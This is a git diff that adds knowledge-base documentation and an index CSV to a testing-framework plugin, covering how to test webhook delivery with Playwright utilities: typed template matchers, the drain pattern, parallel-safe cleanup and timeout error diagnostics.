+Default webhook integrations: **P2 × I3 = 6** → High → must be tested.
+
+## What a Complete Webhook Test Looks Like
+
+A complete webhook test covers:
+
+1. **Happy path**: Action fires → webhook arrives with correct payload
+2. **Sequential events (drain pattern)**: Preceding event drained before asserting on next
+3. **Parallel isolation**: Template scoped by entity ID — workers don't cross-contaminate
+4. **Timeout/error shape**: `WebhookTimeoutError` tested for negative path coverage
+5. **Cleanup verification**: Fixture auto-cleans; no leaked webhooks after test
+
+**Minimal complete example** (from playwright-utils E2E suite):
+
+```typescript
+// Template factories scoped by ID — parallel safety
+const movieCreated = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+const movieDeleted = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.deleted')
+    .matchField('event', 'movie.deleted')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+test('movie deletion triggers a webhook with correct payload', async ({ authToken, addMovie, deleteMovie, webhookRegistry }) => {
+  const movie = generateMovieWithoutId();
+  const { body: createResponse } = await addMovie(authToken, movie);
+  const movieId = createResponse.data.id;
+
+  // Drain: consume the create webhook before testing the delete path
+  await webhookRegistry.waitFor(movieCreated(movieId));
+
+  await deleteMovie(authToken, movieId);
+  const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+
+  expect(webhook.body).toMatchObject({
+    event: 'movie.deleted',
+    data: { id: movieId, name: movie.name },
+  });
+});
+```
+
+## Common Failure Patterns
+
+| Failure pattern                        | Root cause                                             | How the module addresses it                                                  |
+| -------------------------------------- | ------------------------------------------------------ | ---------------------------------------------------------------------------- |
+| Test passes but webhook never verified | Test asserted on status endpoint, not delivery         | `waitFor` forces assertion on actual webhook arrival                         |
+| Flaky under `fullyParallel: true`      | `full-reset` cleanup deletes another worker's webhooks | `matched-only` strategy — only matched webhooks are deleted                  |
+| Timeout gives no useful information    | No payload inspection on failure                       | `WebhookTimeoutError.receivedWebhooks` snapshot                              |
+| Template matches wrong test's webhook  | Template not scoped by entity ID                       | Template factories accept ID parameter; `matchPredicate` for complex scoping |
+| Test hangs at 30s default timeout      | Webhook not arriving; pipeline is slow                 | Use `withTimeout()` and `withInterval(500)` per template                     |
+| Journal grows unbounded                | No cleanup strategy configured                         | Configure `cleanupStrategy` in `webhookConfig`; fixture auto-cleans          |
+
+## Risk Mitigation Checklist (for TA assessment)
+
+When a system uses webhooks, verify the test suite covers:
+
+- [ ] Happy path for each event type that has an external subscriber
+- [ ] Template factories scoped by entity ID (parallel-safe)
+- [ ] Drain pattern applied to all sequential event assertions
+- [ ] Cleanup strategy matches provider capability: `matched-only` for providers that support `deleteById` (e.g. WireMock); `full-reset` with serial execution or an isolated provider instance per worker for MockServer/Mockoon
+- [ ] Timeout values appropriate for the delivery pipeline latency (Kafka pipelines need 15s+)
+- [ ] `WebhookTimeoutError` imported and tested in negative path coverage
+- [ ] Mock server (WireMock/MockServer/Mockoon) in Docker Compose / test infra
+
+## Related Fragments
+
+- `webhook-testing-fundamentals.md` — Why webhook tests are hard
+- `webhook-module-setup.md` — Fixture wiring for each provider
+- `webhook-template-matchers.md` — Template and matcher patterns
+- `risk-governance.md` — Risk scoring framework
+- `probability-impact.md` — P×I scale definitions
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-template-matchers.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-template-matchers.md
new file mode 100644
index 0000000..58d9cf7
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-template-matchers.md
@@ -0,0 +1,160 @@
+# Webhook Template Matchers
+
+## Principle
+
+Build typed templates with `webhookTemplate()` and compose matchers using `matchField`, `matchPartial`, and `matchPredicate`. All matchers on a template use AND semantics — every matcher must pass for a webhook to be considered a match. Templates are immutable value objects produced by a fluent builder.
+
+## Template Factory Pattern
+
+Define template factories as pure functions that accept a test-scoped ID. This is the key pattern for parallel isolation — each factory call produces a template bound to a specific entity:
+
+```typescript
+import { webhookTemplate } from '@seontechnologies/playwright-utils/webhook';
+
+// Template factories for movie webhooks
+// 15s timeout: the Kafka → HTTP webhook delivery pipeline can back up under
+// high CI concurrency (burn-in with many parallel workers). 10s was occasionally
+// not enough; 15s gives the pipeline headroom without slowing normal runs.
+const movieCreated = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+const movieDeleted = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.deleted')
+    .matchField('event', 'movie.deleted')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+```
+
+The ID parameter scopes each template to a specific entity, preventing parallel workers from matching each other's webhooks.
+
+## Matcher Reference
+
+### matchField — dot-path exact match
+
+Traverses dot-notation paths into the payload. Never throws if the path is missing — a missing path evaluates as non-matching.
+
+```typescript
+webhookTemplate('order.created')
+  .matchField('event', 'order.created') // top-level field
+  .matchField('data.id', orderId) // nested path
+  .matchField('data.status', 'pending') // nested string value
+  .build();
+```
+
+Matcher detail output: `field(data.id=42)`
+
+### matchPartial — deep subset check
+
+Checks that the expected object is a subset of the received payload. Extra fields in the payload are ignored. Arrays use strict length matching.
+
+```typescript
+const partialTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; name: string };
+}>('movie.created.partial')
+  .matchPartial({ event: 'movie.created', data: { id: movieId } })
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+Matcher detail output: `partial({"event":"movie.created","data":{"id":42}})`
+
+### matchPredicate — arbitrary function
+
+Accepts any `(payload: T) => boolean` function. Always requires a human-readable description string — this appears in `WebhookTimeoutError.matcherDetails` for debugging.
+
+**ID-scoped parallel isolation** (prevents cross-worker contamination in `waitForCount`):
+
+```typescript
+const batchTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.created.batch')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${id1} or ${id2}`, (p) => p.data.id === id1 || p.data.id === id2)
+  .withTimeout(15_000)
+  .withInterval(500)
+  .build();
+```
+
+**Business data filtering**:
+
+```typescript
+const highRatingTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; rating: number };
+}>('movie.created.high-rating')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${movieId} and data.rating >= 9`, (p) => p.data.id === movieId && p.data.rating >= 9)
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+Matcher detail output: `predicate(data.id is 42 and data.rating >= 9)`
+
+## Combining Matchers
+
+All matchers use AND semantics — all must pass for the webhook to match:
+
+```typescript
+// Combined field + partial: both matchers must pass
+const updateTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; name: string };
+}>('movie.updated')
+  .matchField('event', 'movie.updated')
+  .matchPartial({ data: { id: movieId, name: nameUpdate.name } })
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+## Per-Template Timeout and Interval
+
+Override the registry defaults on a per-template basis:
+
+```typescript
+webhookTemplate('slow.pipeline.event')
+  .matchField('event', 'slow.pipeline.event')
+  .withTimeout(60_000) // 60s for slow delivery pipelines
+  .withInterval(2_000) // poll every 2s
+  .build();
+```
+
+## clone() for Base Template Variations
+
+> **Note**: `clone()` is available on the builder but is not used in the playwright-utils E2E suite. Use it when multiple tests share the same base template with slight field variations.
+
+```typescript
+const base = webhookTemplate<OrderPayload>('order').matchField('event', 'order.completed');
+
+const forOrderA = base.clone().matchField('data.orderId', 'A').build();
+const forOrderB = base.clone().matchField('data.orderId', 'B').build();
+```
+
+## Builder API Summary
+
+| Method                      | Description                                            |
+| --------------------------- | ------------------------------------------------------ |
+| `webhookTemplate<T>(name)`  | Create a new builder with the given template name      |
+| `.matchField(path, value)`  | Add dot-path exact-match matcher                       |
+| `.matchPartial(expected)`   | Add deep-subset matcher                                |
+| `.matchPredicate(desc, fn)` | Add arbitrary predicate matcher (description required) |
+| `.withTimeout(ms)`          | Override registry default timeout                      |
+| `.withInterval(ms)`         | Override registry default poll interval                |
+| `.clone()`                  | Copy current builder state for variation               |
+| `.build()`                  | Produce the immutable `WebhookTemplate<T>` object      |
+
+## Related Fragments
+
+- `webhook-waiting-querying.md` — waitFor, waitForCount, drain pattern
+- `webhook-timeout-error.md` — Reading matcherDetails in error output
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-testing-fundamentals.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-testing-fundamentals.md
new file mode 100644
index 0000000..dfedb2d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-testing-fundamentals.md
@@ -0,0 +1,42 @@
+# Webhook Testing Fundamentals
+
+## Principle
+
+Webhook delivery is eventually consistent — your application fires HTTP callbacks asynchronously after events occur. Tests must poll until the expected webhook arrives or time out. The `@seontechnologies/playwright-utils` webhook module provides deterministic polling, typed matchers, rich timeout diagnostics, and cleanup strategies safe under `fullyParallel: true`.
+
+## Rationale
+
+Webhook tests fail for four structural reasons:
+
+- **Eventually consistent**: Webhook delivery happens asynchronously — you cannot assert immediately after triggering an event
+- **Parallel journal pollution**: When multiple workers share the same mock server, a fast worker's teardown can delete records a slow worker is still polling
+- **Opaque timeouts**: A bare timeout tells you only that the webhook didn't arrive — it shows you nothing about what did arrive
+- **Cleanup drift**: Resetting the full journal in `afterEach` creates a race condition under `fullyParallel: true`
+
+The playwright-utils approach:
+
+- **Polling via `recurse`**: Uses Playwright's `expect.poll` under the hood — retries with configurable timeout and interval until a match is found
+- **Typed matchers**: `matchField`, `matchPartial`, `matchPredicate` — all must pass (AND semantics); matchers never throw on missing paths
+- **Rich timeout errors**: `WebhookTimeoutError` carries `totalReceived`, `receivedWebhooks`, and `matcherDetails` so you can see what arrived vs. what was expected
+- **Isolation via `startedAt`**: Each `WebhookRegistry` instance records its creation timestamp; polling only fetches webhooks received after that point, preventing leakage from prior tests
+- **Two cleanup strategies**: `full-reset` (resets entire journal) and `matched-only` (deletes only matched webhooks — parallel-safe when the provider supports delete-by-ID, e.g. WireMock)
+
+## When to Use Webhook Tests
+
+| Scenario                                                          | Use webhook tests         |
+| ----------------------------------------------------------------- | ------------------------- |
+| Application publishes events to external subscribers              | ✅ Required               |
+| Event-driven architecture with Kafka/event bus → webhook delivery | ✅ Required               |
+| Payment, order, or notification side effects via webhooks         | ✅ Required               |
+| Testing that a webhook was NOT delivered                          | ✅ Verify via timeout     |
+| Polling a status endpoint for eventual consistency                | ❌ Use `recurse` directly |
+| Frontend receiving push notifications (WebSocket)                 | ❌ Different mechanism    |
+
+## Related Fragments
+
+- `webhook-module-setup.md` — Fixture wiring and cleanup strategies
+- `webhook-template-matchers.md` — matchField, matchPartial, matchPredicate
+- `webhook-waiting-querying.md` — waitFor, waitForCount, getReceived, drain pattern
+- `webhook-timeout-error.md` — WebhookTimeoutError debugging
+- `webhook-providers.md` — WireMock, MockServer, Mockoon, custom provider
+- `webhook-risk-guidance.md` — Risk-based guidance for TA and TD capabilities
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-timeout-error.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-timeout-error.md
new file mode 100644
index 0000000..34b7b73
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-timeout-error.md
@@ -0,0 +1,130 @@
+# WebhookTimeoutError and Debugging
+
+## Principle
+
+`WebhookTimeoutError` is thrown when `waitFor` or `waitForCount` does not find a matching webhook within the configured timeout. It carries a snapshot of received webhooks from the last polling cycle — truncated to the last 10 entries — so you can inspect what arrived vs. what was expected. The full count of all received webhooks is available in `totalReceived`.
+
+## Error Properties
+
+```typescript
+class WebhookTimeoutError extends Error {
+  readonly name = 'WebhookTimeoutError';
+  readonly templateName: string; // from webhookTemplate('...')
+  readonly timeoutMs: number; // the timeout that was exceeded
+  readonly totalReceived: number; // total webhooks seen in polling window
+  readonly receivedWebhooks: ReceivedWebhook[]; // last ≤10 received webhooks
+  readonly matcherDetails: string[]; // human-readable matcher summary
+
+  toJSON(): Record<string, unknown>; // serialize all fields for CI logs
+}
+```
+
+`receivedWebhooks` is capped at the last 10 entries. If more than 10 webhooks arrived, `totalReceived` shows the full count but `receivedWebhooks` contains only the most recent 10.
+
+## Reading the Error
+
+The error message format:
+
+```
+Webhook "movie.deleted" not received within 15000ms.
+3 webhook(s) were received but none matched.
+Matchers: field(event="movie.deleted"), field(data.id=42).
+```
+
+Use `matcherDetails` to confirm the matchers were configured correctly. Use `receivedWebhooks` to inspect actual payloads — compare field paths and values against what the matchers expect.
+
+## Validating the Error Shape in Tests
+
+```typescript
+import { WebhookTimeoutError, webhookTemplate } from '@seontechnologies/playwright-utils/webhook';
+
+const neverArrivingTemplate = webhookTemplate('never.arrives')
+  .matchField('event', 'event.that.never.happens')
+  .withTimeout(500)
+  .withInterval(100)
+  .build();
+
+const [waitResult] = await Promise.allSettled([webhookRegistry.waitFor(neverArrivingTemplate)]);
+
+expect(waitResult.status).toBe('rejected');
+if (waitResult.status !== 'rejected') {
+  throw new Error('Expected webhook wait to reject with WebhookTimeoutError');
+}
+
+const error = waitResult.reason as WebhookTimeoutError;
+expect(error).toBeInstanceOf(WebhookTimeoutError);
+expect(error.templateName).toBe('never.arrives');
+expect(error.timeoutMs).toBe(500);
+expect(error.toJSON()).toMatchObject({
+  name: 'WebhookTimeoutError',
+  templateName: 'never.arrives',
+  timeoutMs: 500,
+  totalReceived: expect.any(Number),
+  matcherDetails: ['field(event="event.that.never.happens")'],
+});
+```
+
+## Inspecting receivedWebhooks
+
+When a webhook arrives but doesn't match, `receivedWebhooks` shows you what actually came in:
+
+```typescript
+// Wait for create webhook first — puts it in the journal
+await webhookRegistry.waitFor(movieCreated(movieId));
+
+// Wait for delete webhook that will never arrive — no delete was called
+const undeliveredDelete = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.deleted.not.delivered')
+  .matchField('event', 'movie.deleted')
+  .matchField('data.id', movieId)
+  .withTimeout(2_000)
+  .withInterval(200)
+  .build();
+
+const [waitResult] = await Promise.allSettled([webhookRegistry.waitFor(undeliveredDelete)]);
+
+expect(waitResult.status).toBe('rejected');
+if (waitResult.status !== 'rejected') {
+  throw new Error('Expected webhook wait to reject with WebhookTimeoutError');
+}
+
+const error = waitResult.reason as WebhookTimeoutError;
+expect(error).toBeInstanceOf(WebhookTimeoutError);
+expect(error.totalReceived).toBeGreaterThanOrEqual(1);
+
+// The movie.created webhook that did arrive is visible in the error
+const createdWebhook = error.receivedWebhooks.find((w) => (w.body as { data: { id: number } }).data.id === movieId);
+expect(createdWebhook).toBeDefined();
+expect((createdWebhook!.body as { event: string }).event).toBe('movie.created');
+```
+
+## Common Failure Patterns
+
+| What you see                           | Likely cause                                         | Fix                                                               |
+| -------------------------------------- | ---------------------------------------------------- | ----------------------------------------------------------------- |
+| `totalReceived: 0`                     | Webhook not delivered; wrong URL or event not firing | Check application event publishing and webhook routing            |
+| `totalReceived > 0`, none match        | Webhooks arriving but matchers not matching          | Inspect `receivedWebhooks[0].body` — check field paths and values |
+| `matcherDetails` shows wrong path      | Template factory misconfigured                       | Print `error.toJSON()` and compare paths against actual payload   |
+| `totalReceived: 0` with `matched-only` | Another worker claimed and deleted the webhook first | Ensure template is scoped by entity ID                            |
+| Parse error in body                    | Webhook body is not valid JSON                       | Check `receivedWebhooks[n].parseError` and `rawBody`              |
+
+## matcherDetails Format per Matcher Type
+
+| Matcher                         | matcherDetails string |
+| ------------------------------- | --------------------- |
+| `matchField('event', 'x')`      | `field(event="x")`    |
+| `matchPartial({ a: 1 })`        | `partial({"a":1})`    |
+| `matchPredicate('my desc', fn)` | `predicate(my desc)`  |
+
+## Import
+
+```typescript
+import { WebhookTimeoutError } from '@seontechnologies/playwright-utils/webhook';
+```
+
+## Related Fragments
+
+- `webhook-template-matchers.md` — matcherDetails string format per matcher type
+- `webhook-waiting-querying.md` — waitFor and waitForCount throw this error on timeout
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-waiting-querying.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-waiting-querying.md
new file mode 100644
index 0000000..7474791
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/webhook-waiting-querying.md
@@ -0,0 +1,167 @@
+# Webhook Waiting and Querying Patterns
+
+## Principle
+
+`waitFor` and `waitForCount` poll until matching webhooks arrive; `getReceived` queries without waiting. Always drain preceding events before asserting on subsequent ones. Scope templates by entity ID to prevent parallel worker cross-contamination.
+
+## Pattern Examples
+
+### Example 1: waitFor — single webhook
+
+Poll until the first webhook matching the template arrives. Returns the typed `ReceivedWebhook<T>`.
+
+```typescript
+const webhook = await webhookRegistry.waitFor(movieCreated(movieId));
+
+expect(webhook.body).toMatchObject({
+  event: 'movie.created',
+  timestamp: expect.any(String),
+  data: {
+    id: movieId,
+    name: movie.name,
+    year: movie.year,
+    rating: movie.rating,
+  },
+});
+```
+
+### Example 2: The drain pattern — sequential events
+
+When testing a downstream event (e.g. deletion), always `waitFor` the preceding event first. Without the drain, the create webhook may remain in the journal and interfere with cleanup or subsequent polling.
+
+```typescript
+test('movie deletion triggers a webhook with correct payload', async ({ authToken, addMovie, deleteMovie, webhookRegistry }) => {
+  const movie = generateMovieWithoutId();
+  const { body: createResponse } = await addMovie(authToken, movie);
+  const movieId = createResponse.data.id;
+
+  await log.step('Drain the create webhook before testing the delete path');
+  await webhookRegistry.waitFor(movieCreated(movieId)); // drain — consume the create event
+
+  await deleteMovie(authToken, movieId);
+
+  await log.step('Wait for the delete webhook');
+  const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+
+  expect(webhook.body).toMatchObject({
+    event: 'movie.deleted',
+    data: { id: movieId, name: movie.name },
+  });
+});
+```
+
+**Why drain?** If you skip the drain and go directly to `waitFor(movieDeleted)`, the create webhook is already in the journal. The delete webhook may arrive and be cleaned up by another test before your poll reaches it. Draining makes the event order explicit and removes the ambiguity.
+
+### Example 3: waitForCount — collect N webhooks concurrently
+
+Collect exactly N matching webhooks. Use `matchPredicate` with all IDs to prevent cross-worker contamination when running `fullyParallel: true`:
+
+```typescript
+await log.step('Create two movies concurrently');
+const [{ body: res1 }, { body: res2 }] = await Promise.all([
+  addMovie(authToken, generateMovieWithoutId()),
+  addMovie(authToken, generateMovieWithoutId()),
+]);
+
+const [id1, id2] = [res1.data.id, res2.data.id];
+
+const batchTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.created.batch')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${id1} or ${id2}`, (p) => p.data.id === id1 || p.data.id === id2)
+  .withTimeout(15_000)
+  .withInterval(500)
+  .build();
+
+const webhooks = await webhookRegistry.waitForCount(batchTemplate, 2);
+
+expect(webhooks).toHaveLength(2);
+const receivedIds = webhooks.map((w) => w.body.data.id);
+expect(receivedIds).toContain(id1);
+expect(receivedIds).toContain(id2);
+expect(new Set(receivedIds).size).toBe(2); // guard against the same ID delivered twice
+```
+
+### Example 4: getReceived — query without waiting
+
+Query the journal without polling. Useful for asserting presence of webhooks after a `waitFor`, or for method/URL filtering.
+
+```typescript
+await webhookRegistry.waitFor(movieCreated(movieId)); // wait first
+
+const all = await webhookRegistry.getReceived();
+expect(all.length).toBeGreaterThanOrEqual(1);
+
+// Method filter — all sample-app webhooks are delivered via POST
+const postOnly = await webhookRegistry.getReceived({ method: 'POST' });
+expect(postOnly.every((w) => w.method === 'POST')).toBe(true);
+
+// URL pattern filter — match the webhooks endpoint path
+const byUrl = await webhookRegistry.getReceived({ urlPattern: '/webhooks' });
+expect(byUrl.every((w) => w.url.includes('/webhooks'))).toBe(true);
+```
+
+`getReceived` accepts `WebhookQueryFilter`:
+
+```typescript
+type WebhookQueryFilter = {
+  urlPattern?: string; // glob or regex string
+  method?: string; // HTTP method filter
+  since?: Date; // only return webhooks after this timestamp
+};
+```
+
+Note: `getReceived` is a direct passthrough to the provider — it does **not** automatically apply the `startedAt` filter. Only `waitFor` and `waitForCount` apply the since-filter internally during polling. If you need to scope a manual `getReceived` call to this test's time window, record your own timestamp before the action under test and pass `{ since: myTimestamp }` explicitly.
+
+## Parallel Worker Safety
+
+Always scope template factories to the entity's ID:
+
+```typescript
+// ✅ Scoped — only matches webhooks for this specific movie
+const movieCreated = (movieId: number) =>
+  webhookTemplate('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId) // scoped by ID
+    .build();
+
+// ❌ Unscoped — will match any movie.created from any parallel worker
+const movieCreatedUnscoped = webhookTemplate('movie.created').matchField('event', 'movie.created').build();
+```
+
+## Method Summary
+
+| Method                      | Returns                         | Description                                                                                       |
+| --------------------------- | ------------------------------- | ------------------------------------------------------------------------------------------------- |
+| `waitFor(template)`         | `Promise<ReceivedWebhook<T>>`   | Poll until first match; throws `WebhookTimeoutError` on timeout                                   |
+| `waitForCount(template, n)` | `Promise<ReceivedWebhook<T>[]>` | Poll until N matches; throws `WebhookTimeoutError` on timeout                                     |
+| `getReceived(filter?)`      | `Promise<ReceivedWebhook[]>`    | Direct passthrough to provider — no automatic since-filter; pass `{ since }` explicitly if needed |
+| `resetJournal()`            | `Promise<void>`                 | Wipe the entire journal and clear matchedIds                                                      |
+| `cleanup()`                 | `Promise<void>`                 | Delete matched webhooks (`matched-only`) or reset journal (`full-reset`)                          |
+
+## Anti-Patterns
+
+**DON'T skip the drain for sequential events:**
+
+```typescript
+// Bad: direct jump to delete webhook — create webhook pollutes the journal
+await addMovie(authToken, movie);
+const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+```
+
+**DO drain preceding events:**
+
+```typescript
+// Good: drain create first, then wait for delete
+await webhookRegistry.waitFor(movieCreated(movieId)); // drain
+await deleteMovie(authToken, movieId);
+const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+```
+
+## Related Fragments
+
+- `webhook-template-matchers.md` — How to build templates
+- `webhook-timeout-error.md` — What to do when waitFor times out
+- `recurse.md` — The polling primitive used internally by the registry
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/tea-index.csv b/plugins/bmad/skills/bmad-testarch-framework/resources/tea-index.csv
new file mode 100644
index 0000000..ebd3200
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/tea-index.csv
@@ -0,0 +1,50 @@
+id,name,description,tags,tier,fragment_file
+fixture-architecture,Fixture Architecture,"Composable fixture patterns (pure function → fixture → merge) and reuse rules","fixtures,architecture,playwright,cypress",core,knowledge/fixture-architecture.md
+network-first,Network-First Safeguards,"Intercept-before-navigate workflow, HAR capture, deterministic waits, edge mocking","network,stability,playwright,cypress,ui",core,knowledge/network-first.md
+data-factories,Data Factories and API Setup,"Factories with overrides, API seeding, cleanup discipline","data,factories,setup,api,backend,seeding",core,knowledge/data-factories.md
+component-tdd,Component TDD Loop,"Red→green→refactor workflow, provider isolation, accessibility assertions","component-testing,tdd,ui",extended,knowledge/component-tdd.md
+playwright-config,Playwright Config Guardrails,"Environment switching, timeout standards, artifact outputs","playwright,config,env",extended,knowledge/playwright-config.md
+ci-burn-in,CI and Burn-In Strategy,"Staged jobs, shard orchestration, burn-in loops, artifact policy","ci,automation,flakiness",extended,knowledge/ci-burn-in.md
+selective-testing,Selective Test Execution,"Tag/grep usage, spec filters, diff-based runs, promotion rules","risk-based,selection,strategy",extended,knowledge/selective-testing.md
+feature-flags,Feature Flag Governance,"Enum management, targeting helpers, cleanup, release checklists","feature-flags,governance,launchdarkly",specialized,knowledge/feature-flags.md
+contract-testing,Contract Testing Essentials,"Pact publishing, provider verification, resilience coverage","contract-testing,pact,api,backend,microservices,service-contract",specialized,knowledge/contract-testing.md
+email-auth,Email Authentication Testing,"Magic link extraction, state preservation, caching, negative flows","email-authentication,security,workflow",specialized,knowledge/email-auth.md
+error-handling,Error Handling Checks,"Scoped exception handling, retry validation, telemetry logging","resilience,error-handling,stability,api,backend",extended,knowledge/error-handling.md
+visual-debugging,Visual Debugging Toolkit,"Trace viewer usage, artifact expectations, accessibility integration","debugging,dx,tooling,ui",specialized,knowledge/visual-debugging.md
+risk-governance,Risk Governance,"Scoring matrix, category ownership, gate decision rules","risk,governance,gates",core,knowledge/risk-governance.md
+probability-impact,Probability and Impact Scale,"Shared definitions for scoring matrix and gate thresholds","risk,scoring,scale",core,knowledge/probability-impact.md
+test-quality,Test Quality Definition of Done,"Execution limits, isolation rules, green criteria","quality,definition-of-done,tests",core,knowledge/test-quality.md
+nfr-criteria,NFR Review Criteria,"Security, performance, reliability, maintainability status definitions","nfr,assessment,quality",extended,knowledge/nfr-criteria.md
+test-levels,Test Levels Framework,"Guidelines for choosing unit, integration, or end-to-end coverage","testing,levels,selection,api,backend,ui",core,knowledge/test-levels-framework.md
+test-priorities,Test Priorities Matrix,"P0–P3 criteria, coverage targets, execution ordering","testing,prioritization,risk",core,knowledge/test-priorities-matrix.md
+test-healing-patterns,Test Healing Patterns,"Common failure patterns and automated fixes","healing,debugging,patterns",core,knowledge/test-healing-patterns.md
+selector-resilience,Selector Resilience,"Robust selector strategies and debugging techniques","selectors,locators,debugging,ui",core,knowledge/selector-resilience.md
+timing-debugging,Timing Debugging,"Race condition identification and deterministic wait fixes","timing,async,debugging",extended,knowledge/timing-debugging.md
+overview,Playwright Utils Overview,"Installation, design principles, fixture patterns for API and UI testing","playwright-utils,fixtures,api,backend,ui",core,knowledge/overview.md
+api-request,API Request,"Typed HTTP client, schema validation, retry logic, operation-based overload for API and service testing","api,backend,service-testing,api-testing,playwright-utils,openapi,codegen,operation",core,knowledge/api-request.md
+network-recorder,Network Recorder,"HAR record/playback, CRUD detection for offline UI testing","network,playwright-utils,ui,har",extended,knowledge/network-recorder.md
+auth-session,Auth Session,"Token persistence, multi-user, API and browser authentication","auth,playwright-utils,api,backend,jwt,token",core,knowledge/auth-session.md
+intercept-network-call,Intercept Network Call,"Network spy/stub, JSON parsing for UI tests","network,playwright-utils,ui",extended,knowledge/intercept-network-call.md
+recurse,Recurse Polling,"Async polling for API responses, background jobs, eventual consistency","polling,playwright-utils,api,backend,async,eventual-consistency",extended,knowledge/recurse.md
+log,Log Utility,"Report logging, structured output for API and UI tests","logging,playwright-utils,api,ui",extended,knowledge/log.md
+file-utils,File Utilities,"CSV/XLSX/PDF/ZIP validation for API exports and UI downloads","files,playwright-utils,api,backend,ui",extended,knowledge/file-utils.md
+burn-in,Burn-in Runner,"Smart test selection, git diff for CI optimization","ci,playwright-utils",extended,knowledge/burn-in.md
+network-error-monitor,Network Error Monitor,"HTTP 4xx/5xx detection for UI tests","monitoring,playwright-utils,ui",extended,knowledge/network-error-monitor.md
+fixtures-composition,Fixtures Composition,"mergeTests composition patterns for combining utilities","fixtures,playwright-utils",extended,knowledge/fixtures-composition.md
+api-testing-patterns,API Testing Patterns,"Pure API test patterns without browser: service testing, microservices, GraphQL","api,backend,service-testing,api-testing,microservices,graphql,no-browser",specialized,knowledge/api-testing-patterns.md
+pactjs-utils-overview,Pact.js Utils Overview,"Installation, contract testing flows, utility table (createProviderState, toJsonMap, setJsonContent, setJsonBody)","pactjs-utils,contract-testing,pact,api,backend,microservices",specialized,knowledge/pactjs-utils-overview.md
+pactjs-utils-consumer-helpers,Pact.js Utils Consumer Helpers,"createProviderState, toJsonMap, setJsonContent, setJsonBody for consumer-side Pact helpers","pactjs-utils,consumer,contract-testing,pact,api",specialized,knowledge/pactjs-utils-consumer-helpers.md
+pactjs-utils-provider-verifier,Pact.js Utils Provider Verifier,"buildVerifierOptions, buildMessageVerifierOptions for provider verification","pactjs-utils,provider,contract-testing,pact,api,backend,ci",specialized,knowledge/pactjs-utils-provider-verifier.md
+pactjs-utils-request-filter,Pact.js Utils Request Filter,"createRequestFilter, noOpRequestFilter for auth injection","pactjs-utils,auth,contract-testing,pact",specialized,knowledge/pactjs-utils-request-filter.md
+pact-mcp,Pact MCP Server,"SmartBear MCP for PactFlow: generate tests, review, can-i-deploy, provider states","pact,mcp,pactflow,contract-testing,broker",specialized,knowledge/pact-mcp.md
+pact-consumer-framework-setup,Pact Consumer CDC Framework Setup,"Directory structure, vitest config, shell scripts, CI workflow, PactV4 patterns for consumer CDC","pactjs-utils,consumer,contract-testing,pact,ci,framework,setup,vitest,shell-scripts",specialized,knowledge/pact-consumer-framework-setup.md
+adr-quality-readiness-checklist,ADR Quality Readiness Checklist,"8-category 29-criteria framework for ADR testability and NFR assessment","nfr,testability,adr,quality,assessment,checklist",extended,knowledge/adr-quality-readiness-checklist.md
+playwright-cli,Playwright CLI,"Token-efficient CLI for AI coding agents: element refs, sessions, snapshots, trace analysis, debug=cli autonomous investigation","cli,browser,agent,automation,snapshot,trace,debug",core,knowledge/playwright-cli.md
+pact-consumer-di,Pact Consumer DI Pattern,"Dependency injection pattern for Pact consumer tests — call actual source code instead of raw fetch by injecting mock server URL via optional baseUrl in context type","contract-testing,pact,consumer,dependency-injection,api,backend,architecture",extended,knowledge/pact-consumer-di.md
+webhook-fundamentals,Webhook Testing Fundamentals,"Why webhook delivery is hard: async, parallel pollution, opaque timeouts, cleanup drift. playwright-utils approach with polling, typed matchers, rich errors, startedAt isolation","webhook,async,playwright-utils,event-driven,eventually-consistent",core,knowledge/webhook-testing-fundamentals.md
